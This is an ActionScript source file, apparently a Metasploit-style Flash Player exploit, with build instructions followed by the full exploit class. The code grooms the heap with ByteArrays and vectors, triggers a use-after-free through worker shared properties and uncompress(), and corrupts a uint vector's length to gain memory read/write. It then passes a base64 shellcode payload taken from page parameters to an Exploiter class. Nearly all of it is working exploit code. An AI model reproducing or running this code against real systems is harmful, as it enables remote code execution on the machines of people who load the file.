282 lines
8.0 KiB
ActionScript
Executable File
282 lines
8.0 KiB
ActionScript
Executable File
// Build how to:
|
|
// 1. Download the AIRSDK, and use its compiler.
|
|
// 2. Download the Flex SDK (4.6)
|
|
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
|
// 4. Build with: mxmlc -o msf.swf Main.as
|
|
|
|
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
|
|
|
package
|
|
{
|
|
import flash.utils.*
|
|
import flash.display.*
|
|
import flash.system.*
|
|
import mx.utils.Base64Decoder
|
|
|
|
public final class Exploit extends Sprite {
|
|
private var shared_ba:ByteArray = null
|
|
|
|
private var hole_ba:ByteArray = null;
|
|
private var confuse_length_ba:ByteArray = null;
|
|
private var fake_ba:ByteArray = null;
|
|
private var worker:Worker = null;
|
|
|
|
private var byte_array_vector:Vector.<Object> = null;
|
|
private var byte_array_vector_length:int;
|
|
|
|
private var object_vector:Vector.<Object> = null;
|
|
private var object_vector_length:uint;
|
|
|
|
private var ba:ByteArray
|
|
private var uv:Vector.<uint>
|
|
private var corrupted_uv_index:uint = 0
|
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
|
|
|
private var b64:Base64Decoder = new Base64Decoder();
|
|
private var payload:ByteArray
|
|
private var platform:String
|
|
private var os:String
|
|
private var exploiter:Exploiter
|
|
|
|
public function Exploit() {
|
|
this.object_vector_length = 5770 * 2
|
|
this.byte_array_vector_length = 510 * 2
|
|
|
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
|
var pattern:RegExp = / /g;
|
|
b64_payload = b64_payload.replace(pattern, "+")
|
|
b64.decode(b64_payload)
|
|
payload = b64.toByteArray()
|
|
|
|
this.initialize_worker_and_ba()
|
|
if (!this.trigger())
|
|
{
|
|
return
|
|
}
|
|
|
|
var index:uint = search_uint_vector(114, 0x40000000)
|
|
if (index == 0xffffffff) {
|
|
return
|
|
}
|
|
|
|
this.uv = this.object_vector[this.corrupted_uv_index]
|
|
|
|
for (var i:uint = 0; i < object_vector.length; i++) {
|
|
if (i != corrupted_uv_index)
|
|
object_vector[i] = null
|
|
}
|
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
|
}
|
|
|
|
final private function initialize_worker_and_ba():Boolean{
|
|
this.ba = new ByteArray()
|
|
this.ba.endian = "littleEndian"
|
|
this.ba.length = 1024
|
|
this.ba.writeUnsignedInt(0xdeedbeef)
|
|
this.ba.position = 0
|
|
|
|
this.shared_ba = new ByteArray()
|
|
this.shared_ba.shareable = true
|
|
this.shared_ba.endian = Endian.LITTLE_ENDIAN
|
|
this.shared_ba.writeUnsignedInt(252536)
|
|
this.shared_ba.writeUnsignedInt(16777216)
|
|
|
|
this.confuse_length_ba = new ByteArray()
|
|
this.confuse_length_ba.length = 0x2000
|
|
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
|
|
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
|
|
|
|
this.fake_ba = new ByteArray();
|
|
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
|
|
|
|
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
|
|
return true;
|
|
}
|
|
|
|
final private function trigger():Boolean{
|
|
// Memory massaging
|
|
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
|
|
this.fill_byte_array_vector();
|
|
// 2. Clear the marked ByteArray
|
|
this.hole_ba.clear();
|
|
|
|
// The shared_ba should be left in "shared" state
|
|
this.worker.setSharedProperty("fnfre", this.shared_ba)
|
|
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
|
|
this.worker.setSharedProperty("vfhrth", this.shared_ba)
|
|
|
|
// fake_ba *data* is going to fill the space freed from the hole
|
|
this.fake_ba.length = 0x2000;
|
|
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
|
|
|
|
// Trigger the vulnerability, if the memory layout is good enough
|
|
// the (freed) hole_ba metadata will end being the shared_ba metadata...
|
|
this.shared_ba.uncompress()
|
|
|
|
// So its size should be 0x2000
|
|
if (this.shared_ba.length != 0x2000)
|
|
{
|
|
return false
|
|
}
|
|
|
|
// Free the fake_ba and make holes on the ByteArray's
|
|
// allocated on massaging.
|
|
this.free_fake_and_make_holes()
|
|
|
|
// Fill the holes and the fake_ba data space with
|
|
// <uint> vectors
|
|
this.fill_with_vectors()
|
|
|
|
// Hopefully the shared_ba metadata, product of the vulnerability
|
|
// at this moment point to the <uint> vectors in memory =) it means
|
|
// game over.
|
|
var pwn_test:uint;
|
|
this.shared_ba.position = 0;
|
|
pwn_test = this.shared_ba.readUnsignedInt();
|
|
|
|
if (pwn_test == 0xBBBBBBBB)
|
|
{
|
|
return false
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
|
|
var i:int;
|
|
local_ba.position = 0;
|
|
i = 0;
|
|
while (i < (local_ba.length / 4))
|
|
{
|
|
local_ba.writeInt(value);
|
|
i++;
|
|
};
|
|
local_ba.position = 0;
|
|
}
|
|
|
|
final private function fill_byte_array_vector():void{
|
|
var i:int;
|
|
var local_ba:ByteArray;
|
|
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
|
|
|
|
i = 0;
|
|
|
|
while (i < this.byte_array_vector_length)
|
|
{
|
|
local_ba = new ByteArray();
|
|
this.byte_array_vector[i] = local_ba;
|
|
local_ba.endian = Endian.LITTLE_ENDIAN;
|
|
i++;
|
|
}
|
|
|
|
var hole_index:int = this.byte_array_vector_length * 4 / 5;
|
|
if (hole_index % 2 == 0)
|
|
{
|
|
hole_index++;
|
|
}
|
|
|
|
for(i = 0; i < this.byte_array_vector_length; i++)
|
|
{
|
|
local_ba = this.byte_array_vector[i] as ByteArray
|
|
local_ba.length = 0x2000
|
|
this.fill_byte_array(local_ba, 0xCCCCCCCC)
|
|
local_ba.writeInt(0xbabefac0)
|
|
local_ba.writeInt(0xbabefac1)
|
|
local_ba.writeInt(i)
|
|
local_ba.writeInt(0xbabefac3)
|
|
if (i == hole_index)
|
|
{
|
|
this.hole_ba = local_ba;
|
|
}
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
final private function free_fake_and_make_holes():void {
|
|
var i:int
|
|
var clear_ba:ByteArray
|
|
var hole_index:int = this.byte_array_vector_length * 4 / 5
|
|
|
|
if (hole_index % 2 == 0)
|
|
{
|
|
hole_index++;
|
|
}
|
|
|
|
for (i = 0; i < this.byte_array_vector_length; i++)
|
|
{
|
|
if (i == hole_index) {
|
|
this.fake_ba.clear();
|
|
} else {
|
|
if (i % 2 == 1)
|
|
{
|
|
clear_ba = this.byte_array_vector[i] as ByteArray
|
|
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
|
|
clear_ba.clear()
|
|
}
|
|
}
|
|
}
|
|
return
|
|
}
|
|
|
|
final private function fill_with_vectors():void {
|
|
var i:uint;
|
|
var uint_vector:Vector.<uint>;
|
|
var objects:Vector.<Object>;
|
|
this.object_vector = new Vector.<Object>(this.object_vector_length);
|
|
|
|
i = 0
|
|
while (i < this.object_vector_length)
|
|
{
|
|
this.object_vector[i] = new Vector.<uint>()
|
|
i++
|
|
}
|
|
|
|
i = 0
|
|
while (i < this.object_vector_length)
|
|
{
|
|
uint_vector = this.object_vector[i] as Vector.<uint>
|
|
uint_vector.length = 114
|
|
uint_vector[0] = 0xfeedbabe
|
|
uint_vector[1] = i
|
|
uint_vector[2] = 0xbabeface
|
|
i++
|
|
}
|
|
}
|
|
|
|
// Use the corrupted shared_ba to search and corrupt the uint vector
|
|
// Returns the offset to the *length* of the corrupted vector
|
|
private function search_uint_vector(old_length:uint, new_length:uint):uint {
|
|
this.shared_ba.position = 0
|
|
var i:uint = 0
|
|
var length:uint = 0
|
|
var atom:uint = 0
|
|
var mark_one:uint = 0
|
|
var index:uint = 0
|
|
var mark_two:uint = 0
|
|
while (i < 0x2000) {
|
|
length = shared_ba.readUnsignedInt()
|
|
if (length == old_length) {
|
|
atom = shared_ba.readUnsignedInt()
|
|
mark_one = shared_ba.readUnsignedInt()
|
|
index = shared_ba.readUnsignedInt()
|
|
mark_two = shared_ba.readUnsignedInt()
|
|
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
|
|
shared_ba.position = i
|
|
shared_ba.writeUnsignedInt(new_length)
|
|
this.corrupted_uv_index = index
|
|
return i;
|
|
}
|
|
i = i + 16
|
|
}
|
|
i = i + 4
|
|
}
|
|
return 0xffffffff
|
|
}
|
|
}
|
|
}
|